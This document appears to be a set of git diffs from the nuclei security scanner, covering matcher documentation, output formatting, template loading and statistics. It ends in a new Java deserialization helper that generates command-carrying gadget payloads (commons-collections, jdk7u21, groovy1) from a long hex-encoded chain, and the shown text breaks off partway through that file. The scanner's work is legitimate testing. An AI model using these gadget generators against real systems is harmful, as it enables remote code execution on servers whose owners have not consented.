// Negative specifies if the match should be reversed
// It will only match if the condition is not true.
Negative bool `yaml:"negative,omitempty"`
// Name is matcher Name
Name string `yaml:"name,omitempty"`
// Status are the acceptable status codes for the response
Status []int `yaml:"status,omitempty"`
// Size is the acceptable size for the response
Size []int `yaml:"size,omitempty"`
// Words are the words required to be present in the response
Words []string `yaml:"words,omitempty"`
// Regex are the regex pattern required to be present in the response
Regex []string `yaml:"regex,omitempty"`
// Binary are the binary characters required to be present in the response
Binary []string `yaml:"binary,omitempty"`
// DSL are the dsl queries
DSL []string `yaml:"dsl,omitempty"`
// Encoding specifies the encoding for the word content if any.
Encoding string `yaml:"encoding,omitempty"`
// description: |
// Name of the matcher. Name should be lowercase and must not contain
// spaces or dashes (-).
// examples:
// - value: "\"cookie-matcher\""
Name string `yaml:"name,omitempty" jsonschema:"title=name of the matcher,description=Name of the matcher"`
// description: |
// Status are the acceptable status codes for the response.
// examples:
// - value: >
// []int{200, 302}
Status []int `yaml:"status,omitempty" jsonschema:"title=status to match,description=Status to match for the response"`
// description: |
// Size is the acceptable size for the response
// examples:
// - value: >
// []int{3029, 2042}
Size []int `yaml:"size,omitempty" jsonschema:"title=acceptable size for response,description=Size is the acceptable size for the response"`
// description: |
// Words contains word patterns required to be present in the response part.
// examples:
// - name: Match for outlook mail protection domain
// value: >
// []string{"mail.protection.outlook.com"}
// - name: Match for application/json in response headers
// value: >
// []string{"application/json"}
Words []string `yaml:"words,omitempty" jsonschema:"title=words to match in response,description= Words contains word patterns required to be present in the response part"`
// description: |
// Regex contains Regular Expression patterns required to be present in the response part.
// examples:
// - name: Match for Linkerd Service via Regex
// value: >
// []string{`(?mi)^Via\\s*?:.*?linkerd.*$`}
// - name: Match for Open Redirect via Location header
// value: >
// []string{`(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\\-_\\.@]*)example\\.com.*$`}
Regex []string `yaml:"regex,omitempty" jsonschema:"title=regex to match in response,description=Regex contains regex patterns required to be present in the response part"`
// description: |
// Binary are the binary patterns required to be present in the response part.
// examples:
// - name: Match for Springboot Heapdump Actuator "JAVA PROFILE", "HPROF", "Gunzip magic byte"
// value: >
// []string{"4a4156412050524f46494c45", "4850524f46", "1f8b080000000000"}
// - name: Match for 7zip files
// value: >
// []string{"377ABCAF271C"}
Binary []string `yaml:"binary,omitempty" jsonschema:"title=binary patterns to match in response,description=Binary are the binary patterns required to be present in the response part"`
// description: |
// DSL are the dsl expressions that will be evaluated as part of nuclei matching rules.
// A list of these helper functions are available [here](https://nuclei.projectdiscovery.io/templating-guide/helper-functions/).
// examples:
// - name: DSL Matcher for package.json file
// value: >
// []string{"contains(body, 'packages') && contains(tolower(all_headers), 'application/octet-stream') && status_code == 200"}
// - name: DSL Matcher for missing strict transport security header
// value: >
// []string{"!contains(tolower(all_headers), ''strict-transport-security'')"}
DSL []string `yaml:"dsl,omitempty" jsonschema:"title=dsl expressions to match in response,description=DSL are the dsl expressions that will be evaluated as part of nuclei matching rules"`
// description: |
// Encoding specifies the encoding for the words field if any.
// values:
// - "hex"
Encoding string `yaml:"encoding,omitempty" jsonschema:"title=encoding for word field,description=Optional encoding for the word fields,enum=hex"`
// cached data for the compiled matcher
condition ConditionType

46
v2/pkg/operators/operators.go
View File

@ -2,21 +2,31 @@ package operators
import (
"github.com/pkg/errors"
"github.com/projectdiscovery/nuclei/v2/pkg/operators/extractors"
"github.com/projectdiscovery/nuclei/v2/pkg/operators/matchers"
)
// Operators contains the operators that can be applied on protocols
type Operators struct {
// Matchers contains the detection mechanism for the request to identify
// whether the request was successful
Matchers []*matchers.Matcher `yaml:"matchers,omitempty"`
// Extractors contains the extraction mechanism for the request to identify
// and extract parts of the response.
Extractors []*extractors.Extractor `yaml:"extractors,omitempty"`
// MatchersCondition is the condition of the matchers
// whether to use AND or OR. Default is OR.
MatchersCondition string `yaml:"matchers-condition,omitempty"`
// description: |
// Matchers contains the detection mechanism for the request to identify
// whether the request was successful by doing pattern matching
// on request/responses.
//
// Multiple matchers can be combined together with `matcher-condition` flag
// which accepts either `and` or `or` as argument.
Matchers []*matchers.Matcher `yaml:"matchers,omitempty" jsonschema:"title=matchers to run on response,description=Detection mechanism to identify whether the request was successful by doing pattern matching"`
// description: |
// Extractors contains the extraction mechanism for the request to identify
// and extract parts of the response.
Extractors []*extractors.Extractor `yaml:"extractors,omitempty" jsonschema:"title=extractors to run on response,description=Extractors contains the extraction mechanism for the request to identify and extract parts of the response"`
// description: |
// MatchersCondition is the condition between the matchers. Default is OR.
// values:
// - "and"
// - "or"
MatchersCondition string `yaml:"matchers-condition,omitempty" jsonschema:"title=condition between the matchers,description=Conditions between the matchers,enum=and,enum=or"`
// cached variables that may be used along with request.
matchersCondition matchers.ConditionType
}
@ -162,3 +172,21 @@ func (r *Operators) Execute(data map[string]interface{}, match MatchFunc, extrac
}
return nil, false
}
// ExecuteInternalExtractors executes internal dynamic extractors
func (r *Operators) ExecuteInternalExtractors(data map[string]interface{}, extract ExtractFunc) map[string]interface{} {
dynamicValues := make(map[string]interface{})
// Start with the extractors first and evaluate them.
for _, extractor := range r.Extractors {
if !extractor.Internal {
continue
}
for match := range extract(data, extractor) {
if _, ok := dynamicValues[extractor.Name]; !ok {
dynamicValues[extractor.Name] = match
}
}
}
return dynamicValues
}

13
v2/pkg/output/format_screen.go
View File

@ -11,10 +11,11 @@ func (w *StandardWriter) formatScreen(output *ResultEvent) []byte {
builder := &bytes.Buffer{}
if !w.noMetadata {
builder.WriteRune('[')
builder.WriteString(w.aurora.Cyan(output.Timestamp.Format("2006-01-02 15:04:05")).String())
builder.WriteString("] ")
if !w.noTimestamp {
builder.WriteRune('[')
builder.WriteString(w.aurora.Cyan(output.Timestamp.Format("2006-01-02 15:04:05")).String())
builder.WriteString("] ")
}
builder.WriteRune('[')
builder.WriteString(w.aurora.BrightGreen(output.TemplateID).String())
@ -31,7 +32,7 @@ func (w *StandardWriter) formatScreen(output *ResultEvent) []byte {
builder.WriteString("] ")
builder.WriteString("[")
builder.WriteString(w.severityColors.Data[types.ToString(output.Info["severity"])])
builder.WriteString(w.severityColors(output.Info.SeverityHolder.Severity))
builder.WriteString("] ")
}
builder.WriteString(output.Matched)
@ -54,7 +55,7 @@ func (w *StandardWriter) formatScreen(output *ResultEvent) []byte {
if len(output.Metadata) > 0 {
builder.WriteString(" [")
var first bool
first := true
for name, value := range output.Metadata {
if !first {
builder.WriteRune(',')

14
v2/pkg/output/output.go
View File

@ -6,11 +6,15 @@ import (
"sync"
"time"
"github.com/pkg/errors"
jsoniter "github.com/json-iterator/go"
"github.com/logrusorgru/aurora"
"github.com/pkg/errors"
"github.com/projectdiscovery/interactsh/pkg/server"
"github.com/projectdiscovery/nuclei/v2/internal/colorizer"
"github.com/projectdiscovery/nuclei/v2/internal/severity"
"github.com/projectdiscovery/nuclei/v2/pkg/model"
"github.com/projectdiscovery/nuclei/v2/pkg/operators"
)
@ -29,13 +33,14 @@ type Writer interface {
// StandardWriter is a writer writing output to file and screen for results.
type StandardWriter struct {
json bool
noTimestamp bool
noMetadata bool
aurora aurora.Aurora
outputFile *fileWriter
outputMutex *sync.Mutex
traceFile *fileWriter
traceMutex *sync.Mutex
severityColors *colorizer.Colorizer
severityColors func(severity.Severity) string
}
var decolorizerRegex = regexp.MustCompile(`\x1B\[[0-9;]*[a-zA-Z]`)
@ -57,7 +62,7 @@ type ResultEvent struct {
// TemplatePath is the path of template
TemplatePath string `json:"-"`
// Info contains information block of the template for the result.
Info map[string]interface{} `json:"info,inline"`
Info model.Info `json:"info,inline"`
// MatcherName is the name of the matcher matched if any.
MatcherName string `json:"matcher_name,omitempty"`
// ExtractorName is the name of the extractor matched if any.
@ -89,7 +94,7 @@ type ResultEvent struct {
}
// NewStandardWriter creates a new output writer based on user configurations
func NewStandardWriter(colors, noMetadata, json bool, file, traceFile string) (*StandardWriter, error) {
func NewStandardWriter(colors, noMetadata, noTimestamp, json bool, file, traceFile string) (*StandardWriter, error) {
auroraColorizer := aurora.NewAurora(colors)
var outputFile *fileWriter
@ -111,6 +116,7 @@ func NewStandardWriter(colors, noMetadata, json bool, file, traceFile string) (*
writer := &StandardWriter{
json: json,
noMetadata: noMetadata,
noTimestamp: noTimestamp,
aurora: auroraColorizer,
outputFile: outputFile,
outputMutex: &sync.Mutex{},

116
v2/pkg/parsers/parser.go Normal file
View File

@ -0,0 +1,116 @@
package parsers
import (
"fmt"
"io/ioutil"
"os"
"gopkg.in/yaml.v2"
"github.com/projectdiscovery/nuclei/v2/pkg/catalog/loader/filter"
"github.com/projectdiscovery/nuclei/v2/pkg/model"
"github.com/projectdiscovery/nuclei/v2/pkg/templates"
"github.com/projectdiscovery/nuclei/v2/pkg/templates/cache"
"github.com/projectdiscovery/nuclei/v2/pkg/utils"
)
const mandatoryFieldMissingTemplate = "mandatory '%s' field is missing"
// LoadTemplate returns true if the template is valid and matches the filtering criteria.
func LoadTemplate(templatePath string, tagFilter *filter.TagFilter, extraTags []string) (bool, error) {
template, templateParseError := ParseTemplate(templatePath)
if templateParseError != nil {
return false, templateParseError
}
if len(template.Workflows) > 0 {
return false, nil
}
templateInfo := template.Info
if validationError := validateMandatoryInfoFields(&templateInfo); validationError != nil {
return false, validationError
}
return isTemplateInfoMetadataMatch(tagFilter, &templateInfo, extraTags)
}
// LoadWorkflow returns true if the workflow is valid and matches the filtering criteria.
func LoadWorkflow(templatePath string, tagFilter *filter.TagFilter) (bool, error) {
template, templateParseError := ParseTemplate(templatePath)
if templateParseError != nil {
return false, templateParseError
}
templateInfo := template.Info
if len(template.Workflows) > 0 {
if validationError := validateMandatoryInfoFields(&templateInfo); validationError != nil {
return false, validationError
}
return true, nil
}
return false, nil
}
func isTemplateInfoMetadataMatch(tagFilter *filter.TagFilter, templateInfo *model.Info, extraTags []string) (bool, error) {
templateTags := templateInfo.Tags.ToSlice()
templateAuthors := templateInfo.Authors.ToSlice()
templateSeverity := templateInfo.SeverityHolder.Severity
match, err := tagFilter.Match(templateTags, templateAuthors, templateSeverity, extraTags)
if err == filter.ErrExcluded {
return false, filter.ErrExcluded
}
return match, err
}
func validateMandatoryInfoFields(info *model.Info) error {
if info == nil {
return fmt.Errorf(mandatoryFieldMissingTemplate, "info")
}
if utils.IsBlank(info.Name) {
return fmt.Errorf(mandatoryFieldMissingTemplate, "name")
}
if info.Authors.IsEmpty() {
return fmt.Errorf(mandatoryFieldMissingTemplate, "author")
}
return nil
}
var parsedTemplatesCache *cache.Templates
func init() {
parsedTemplatesCache = cache.New()
}
// ParseTemplate parses a template and returns a *templates.Template structure
func ParseTemplate(templatePath string) (*templates.Template, error) {
if value, err := parsedTemplatesCache.Has(templatePath); value != nil {
return value.(*templates.Template), err
}
f, err := os.Open(templatePath)
if err != nil {
return nil, err
}
defer f.Close()
data, err := ioutil.ReadAll(f)
if err != nil {
return nil, err
}
template := &templates.Template{}
err = yaml.Unmarshal(data, template)
if err != nil {
return nil, err
}
parsedTemplatesCache.Store(templatePath, template, nil)
return template, nil
}

62
v2/pkg/parsers/workflow_loader.go Normal file
View File

@ -0,0 +1,62 @@
package parsers
import (
"github.com/projectdiscovery/gologger"
"github.com/projectdiscovery/nuclei/v2/pkg/catalog/loader/filter"
"github.com/projectdiscovery/nuclei/v2/pkg/model"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols"
)
type workflowLoader struct {
pathFilter *filter.PathFilter
tagFilter *filter.TagFilter
options *protocols.ExecuterOptions
}
// NewLoader returns a new workflow loader structure
func NewLoader(options *protocols.ExecuterOptions) (model.WorkflowLoader, error) {
tagFilter := filter.New(&filter.Config{
Tags: options.Options.Tags,
ExcludeTags: options.Options.ExcludeTags,
Authors: options.Options.Author,
Severities: options.Options.Severities,
IncludeTags: options.Options.IncludeTags,
})
pathFilter := filter.NewPathFilter(&filter.PathFilterConfig{
IncludedTemplates: options.Options.IncludeTemplates,
ExcludedTemplates: options.Options.ExcludedTemplates,
}, options.Catalog)
return &workflowLoader{pathFilter: pathFilter, tagFilter: tagFilter, options: options}, nil
}
func (w *workflowLoader) GetTemplatePathsByTags(templateTags []string) []string {
includedTemplates := w.options.Catalog.GetTemplatesPath([]string{w.options.Options.TemplatesDirectory})
templatePathMap := w.pathFilter.Match(includedTemplates)
loadedTemplates := make([]string, 0, len(templatePathMap))
for templatePath := range templatePathMap {
loaded, err := LoadTemplate(templatePath, w.tagFilter, templateTags)
if err != nil {
gologger.Warning().Msgf("Could not load template %s: %s\n", templatePath, err)
} else if loaded {
loadedTemplates = append(loadedTemplates, templatePath)
}
}
return loadedTemplates
}
func (w *workflowLoader) GetTemplatePaths(templatesList []string, noValidate bool) []string {
includedTemplates := w.options.Catalog.GetTemplatesPath(templatesList)
templatesPathMap := w.pathFilter.Match(includedTemplates)
loadedTemplates := make([]string, 0, len(templatesPathMap))
for templatePath := range templatesPathMap {
matched, err := LoadTemplate(templatePath, w.tagFilter, nil)
if err != nil {
gologger.Warning().Msgf("Could not load template %s: %s\n", templatePath, err)
} else if matched || noValidate {
loadedTemplates = append(loadedTemplates, templatePath)
}
}
return loadedTemplates
}

53
v2/pkg/progress/progress.go
View File

@ -6,6 +6,7 @@ import (
"fmt"
"net"
"net/http"
"os"
"strconv"
"strings"
"time"
@ -39,13 +40,14 @@ var _ Progress = &StatsTicker{}
// StatsTicker is a progress instance for showing program stats
type StatsTicker struct {
active bool
tickDuration time.Duration
stats clistats.StatisticsClient
outputJSON bool
server *http.Server
stats clistats.StatisticsClient
tickDuration time.Duration
}
// NewStatsTicker creates and returns a new progress tracking object.
func NewStatsTicker(duration int, active, metrics bool, port int) (Progress, error) {
func NewStatsTicker(duration int, active, outputJSON, metrics bool, port int) (Progress, error) {
var tickDuration time.Duration
if active {
tickDuration = time.Duration(duration) * time.Second
@ -62,6 +64,7 @@ func NewStatsTicker(duration int, active, metrics bool, port int) (Progress, err
progress.active = active
progress.stats = stats
progress.tickDuration = tickDuration
progress.outputJSON = outputJSON
if metrics {
http.HandleFunc("/metrics", func(w http.ResponseWriter, req *http.Request) {
@ -92,7 +95,13 @@ func (p *StatsTicker) Init(hostCount int64, rulesCount int, requestCount int64)
p.stats.AddCounter("total", uint64(requestCount))
if p.active {
if err := p.stats.Start(printCallback, p.tickDuration); err != nil {
var printCallbackFunc clistats.PrintCallback
if p.outputJSON {
printCallbackFunc = printCallbackJSON
} else {
printCallbackFunc = printCallback
}
if err := p.stats.Start(printCallbackFunc, p.tickDuration); err != nil {
gologger.Warning().Msgf("Couldn't start statistics: %s", err)
}
}
@ -167,30 +176,35 @@ func printCallback(stats clistats.StatisticsClient) {
builder.WriteRune(')')
builder.WriteRune('\n')
gologger.Print().Msgf("%s", builder.String())
fmt.Fprintf(os.Stderr, "%s", builder.String())
}
// getMetrics returns a map of important metrics for client
func (p *StatsTicker) getMetrics() map[string]interface{} {
func printCallbackJSON(stats clistats.StatisticsClient) {
builder := &strings.Builder{}
_ = json.NewEncoder(builder).Encode(metricsMap(stats))
fmt.Fprintf(os.Stderr, "%s", builder.String())
}
func metricsMap(stats clistats.StatisticsClient) map[string]interface{} {
results := make(map[string]interface{})
startedAt, _ := p.stats.GetStatic("startedAt")
startedAt, _ := stats.GetStatic("startedAt")
duration := time.Since(startedAt.(time.Time))
results["startedAt"] = startedAt.(time.Time)
results["duration"] = fmtDuration(duration)
templates, _ := p.stats.GetStatic("templates")
templates, _ := stats.GetStatic("templates")
results["templates"] = clistats.String(templates)
hosts, _ := p.stats.GetStatic("hosts")
hosts, _ := stats.GetStatic("hosts")
results["hosts"] = clistats.String(hosts)
matched, _ := p.stats.GetCounter("matched")
matched, _ := stats.GetCounter("matched")
results["matched"] = clistats.String(matched)
requests, _ := p.stats.GetCounter("requests")
requests, _ := stats.GetCounter("requests")
results["requests"] = clistats.String(requests)
total, _ := p.stats.GetCounter("total")
total, _ := stats.GetCounter("total")
results["total"] = clistats.String(total)
results["rps"] = clistats.String(uint64(float64(requests) / duration.Seconds()))
errors, _ := p.stats.GetCounter("errors")
errors, _ := stats.GetCounter("errors")
results["errors"] = clistats.String(errors)
//nolint:gomnd // this is not a magic number
@ -200,6 +214,11 @@ func (p *StatsTicker) getMetrics() map[string]interface{} {
return results
}
// getMetrics returns a map of important metrics for client
func (p *StatsTicker) getMetrics() map[string]interface{} {
return metricsMap(p.stats)
}
// fmtDuration formats the duration for the time elapsed
func fmtDuration(d time.Duration) string {
d = d.Round(time.Second)
@ -215,7 +234,11 @@ func fmtDuration(d time.Duration) string {
func (p *StatsTicker) Stop() {
if p.active {
// Print one final summary
printCallback(p.stats)
if p.outputJSON {
printCallbackJSON(p.stats)
} else {
printCallback(p.stats)
}
if err := p.stats.Stop(); err != nil {
gologger.Warning().Msgf("Couldn't stop statistics: %s", err)
}

9
v2/pkg/protocols/common/clusterer/executer.go
View File

@ -2,6 +2,7 @@ package clusterer
import (
"github.com/projectdiscovery/gologger"
"github.com/projectdiscovery/nuclei/v2/pkg/model"
"github.com/projectdiscovery/nuclei/v2/pkg/operators"
"github.com/projectdiscovery/nuclei/v2/pkg/output"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols"
@ -23,7 +24,7 @@ type Executer struct {
type clusteredOperator struct {
templateID string
templatePath string
templateInfo map[string]interface{}
templateInfo model.Info
operator *operators.Operators
}
@ -86,6 +87,9 @@ func (e *Executer) Execute(input string) (bool, error) {
}
}
})
if err != nil && e.options.HostErrorsCache != nil && e.options.HostErrorsCache.CheckError(err) {
e.options.HostErrorsCache.MarkFailed(input)
}
return results, err
}
@ -105,5 +109,8 @@ func (e *Executer) ExecuteWithResults(input string, callback protocols.OutputEve
}
}
})
if err != nil && e.options.HostErrorsCache != nil && e.options.HostErrorsCache.CheckError(err) {
e.options.HostErrorsCache.MarkFailed(input)
}
return err
}

10
v2/pkg/protocols/common/executer/executer.go
View File

@ -77,6 +77,11 @@ func (e *Executer) Execute(input string) (bool, error) {
}
})
if err != nil {
if e.options.HostErrorsCache != nil {
if e.options.HostErrorsCache.CheckError(err) {
e.options.HostErrorsCache.MarkFailed(input)
}
}
gologger.Warning().Msgf("[%s] Could not execute request for %s: %s\n", e.options.TemplateID, input, err)
}
}
@ -109,6 +114,11 @@ func (e *Executer) ExecuteWithResults(input string, callback protocols.OutputEve
callback(event)
})
if err != nil {
if e.options.HostErrorsCache != nil {
if e.options.HostErrorsCache.CheckError(err) {
e.options.HostErrorsCache.MarkFailed(input)
}
}
gologger.Warning().Msgf("[%s] Could not execute request for %s: %s\n", e.options.TemplateID, input, err)
}
}

27
v2/pkg/protocols/common/expressions/expressions.go
View File

@ -37,3 +37,30 @@ func Evaluate(data string, base map[string]interface{}) (string, error) {
// Replacer dynamic values if any in raw request and parse it
return replacer.Replace(data, dynamicValues), nil
}
// EvaluateByte checks if the match contains a dynamic variable, for each
// found one we will check if it's an expression and can
// be compiled, it will be evaluated and the results will be returned.
//
// The provided keys from finalValues will be used as variable names
// for substitution inside the expression.
func EvaluateByte(data []byte, base map[string]interface{}) ([]byte, error) {
final := replacer.Replace(string(data), base)
dynamicValues := make(map[string]interface{})
for _, match := range templateExpressionRegex.FindAllString(final, -1) {
expr := generators.TrimDelimiters(match)
compiled, err := govaluate.NewEvaluableExpressionWithFunctions(expr, dsl.HelperFunctions())
if err != nil {
continue
}
result, err := compiled.Evaluate(base)
if err != nil {
continue
}
dynamicValues[expr] = result
}
// Replacer dynamic values if any in raw request and parse it
return []byte(replacer.Replace(final, dynamicValues)), nil
}

28
v2/pkg/protocols/common/generators/env.go Normal file
View File

@ -0,0 +1,28 @@
package generators
import (
"os"
"github.com/projectdiscovery/stringsutil"
)
var envVars map[string]interface{}
func parseEnvVars() map[string]interface{} {
sliceEnvVars := os.Environ()
parsedEnvVars := make(map[string]interface{}, len(sliceEnvVars))
for _, envVar := range sliceEnvVars {
key, val := stringsutil.Before(envVar, "="), stringsutil.After(envVar, "=")
parsedEnvVars[key] = val
}
return parsedEnvVars
}
// EnvVars returns a map with all environment variables into a map
func EnvVars() map[string]interface{} {
if envVars == nil {
envVars = parseEnvVars()
}
return envVars
}

4
v2/pkg/protocols/common/generators/generators.go
View File

@ -49,10 +49,10 @@ func New(payloads map[string]interface{}, payloadType Type, templatePath string)
if payloadType == PitchFork {
var totalLength int
for v := range compiled {
if totalLength != 0 && totalLength != len(v) {
if totalLength != 0 && totalLength != len(compiled[v]) {
return nil, errors.New("pitchfork payloads must be of equal number")
}
totalLength = len(v)
totalLength = len(compiled[v])
}
}
return generator, nil

4
v2/pkg/protocols/common/generators/maps.go
View File

@ -1,6 +1,8 @@
package generators
import "strings"
import (
"strings"
)
// MergeMaps merges two maps into a new map
func MergeMaps(m1, m2 map[string]interface{}) map[string]interface{} {

16
v2/pkg/protocols/common/generators/slice.go Normal file
View File

@ -0,0 +1,16 @@
package generators
import "github.com/projectdiscovery/stringsutil"
// SliceToMap converts a slice of strings to map of string splitting each item at sep as "key sep value"
func SliceToMap(s []string, sep string) map[string]interface{} {
m := make(map[string]interface{})
for _, sliceItem := range s {
key := stringsutil.Before(sliceItem, sep)
value := stringsutil.After(sliceItem, sep)
if key != "" {
m[key] = value
}
}
return m
}

6
v2/pkg/protocols/common/generators/validate.go
View File

@ -4,7 +4,7 @@ import (
"errors"
"fmt"
"os"
"path"
"path/filepath"
"strings"
"github.com/projectdiscovery/nuclei/v2/pkg/types"
@ -26,10 +26,10 @@ func (g *Generator) validate(payloads map[string]interface{}, templatePath strin
}
changed := false
pathTokens := strings.Split(templatePath, "/")
pathTokens := strings.Split(templatePath, string(os.PathSeparator))
for i := range pathTokens {
tpath := path.Join(strings.Join(pathTokens[:i], "/"), pt)
tpath := filepath.Join(filepath.Join(pathTokens[:i]...), pt)
if fileExists(tpath) {
payloads[name] = tpath
changed = true

2
v2/pkg/protocols/common/helpers/deserialization/deserialization.go Normal file
View File

@ -0,0 +1,2 @@
// Package deserialization implements helpers for deserialization issues in nuclei.
package deserialization

17
v2/pkg/protocols/common/helpers/deserialization/helpers.go Normal file
View File

@ -0,0 +1,17 @@
package deserialization
import "bytes"
func InsertInto(s string, interval int, sep rune) string {
var buffer bytes.Buffer
before := interval - 1
last := len(s) - 1
for i, char := range s {
buffer.WriteRune(char)
if i%interval == before && i != last {
buffer.WriteRune(sep)
}
}
buffer.WriteRune(sep)
return buffer.String()
}

162
v2/pkg/protocols/common/helpers/deserialization/java.go Normal file
View File

@ -0,0 +1,162 @@
package deserialization
import (
"bytes"
"compress/gzip"
"encoding/base64"
"encoding/hex"
"strings"
)
// Taken from: https://github.com/joaomatosf/jexboss/blob/master/_exploits.py
// All credits goes to original authors of the Jexboss Project.
// GenerateJavaGadget generates a gadget with a command and encoding.
// If blank, by default gadgets are returned base64 encoded.
func GenerateJavaGadget(gadget, cmd, encoding string) string {
var returnData []byte
switch gadget {
case "dns":
returnData = generateDNSPayload(cmd)
case "jdk7u21":
returnData = generatejdk7u21Payload(cmd)
case "jdk8u20":
returnData = generatejdk8u20Payload(cmd)
case "commons-collections3.1":
returnData = generateCommonsCollections31Payload(cmd)
case "commons-collections4.0":
returnData = generateCommonsCollections40Payload(cmd)
case "groovy1":
returnData = generateGroovy1Payload(cmd)
default:
return ""
}
if returnData == nil {
return ""
}
return gadgetEncodingHelper(returnData, encoding)
}
// gadgetEncodingHelper performs encoding of the generated gadget based on provided
// options.
func gadgetEncodingHelper(returnData []byte, encoding string) string {
switch encoding {
case "raw":
return string(returnData)
case "hex":
return hex.EncodeToString(returnData)
case "gzip":
buffer := &bytes.Buffer{}
if _, err := gzip.NewWriter(buffer).Write(returnData); err != nil {
return ""
}
return buffer.String()
case "gzip-base64":
buffer := &bytes.Buffer{}
if _, err := gzip.NewWriter(buffer).Write(returnData); err != nil {
return ""
}
return urlsafeBase64Encode(buffer.Bytes())
default:
return urlsafeBase64Encode(returnData)
}
}
func urlsafeBase64Encode(data []byte) string {
return strings.ReplaceAll(base64.StdEncoding.EncodeToString(data), "+", "%2B")
}
// generateCommonsCollections40Payload generates org.apache.commons:commons-collections4:4.0
// deserialization paylaod for a command.
func generateCommonsCollections40Payload(cmd string) []byte {
buffer := &bytes.Buffer{}
prefix, _ := hex.DecodeString("ACED0005737200176A6176612E7574696C2E5072696F72697479517565756594DA30B4FB3F82B103000249000473697A654C000A636F6D70617261746F727400164C6A6176612F7574696C2F436F6D70617261746F723B787000000002737200426F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E5472616E73666F726D696E67436F6D70617261746F722FF984F02BB108CC0200024C00096465636F726174656471007E00014C000B7472616E73666F726D657274002D4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E73342F5472616E73666F726D65723B7870737200406F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E436F6D70617261626C65436F6D70617261746F72FBF49925B86EB13702000078707372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002E5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E73342F5472616E73666F726D65723B78707572002E5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E5472616E73666F726D65723B39813AFB08DA3FA50200007870000000027372003C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E747400124C6A6176612F6C616E672F4F626A6563743B787076720037636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E5472415846696C746572000000000000000000000078707372003F6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E66756E63746F72732E496E7374616E74696174655472616E73666F726D6572348BF47FA486D03B0200025B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C0200007870000000017372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E00144C00055F6E616D657400124C6A6176612F6C616E672F537472696E673B4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F8060854E002000078700000068CCAFEBABE0000003100380A0003002207003607002507002601001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C756505AD2093F391DDEF3E0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100354C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B0100097472616E73666F726D010072284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B5B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B2956010008646F63756D656E7401002D4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B01000868616E646C6572730100425B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A457863657074696F6E730700270100A6284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B29560100086974657261746F720100354C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B01000768616E646C65720100414C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07002801003379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F6164010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740100146A6176612F696F2F53657269616C697A61626C65010039636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F5472616E736C6574457863657074696F6E01001F79736F73657269616C2F7061796C6F6164732F7574696C2F476164676574730100083C636C696E69743E0100116A6176612F6C616E672F52756E74696D6507002A01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C002C002D0A002B002E0100")
buffer.Write(prefix)
buffer.WriteString(string(rune(len(cmd))))
buffer.WriteString(cmd)
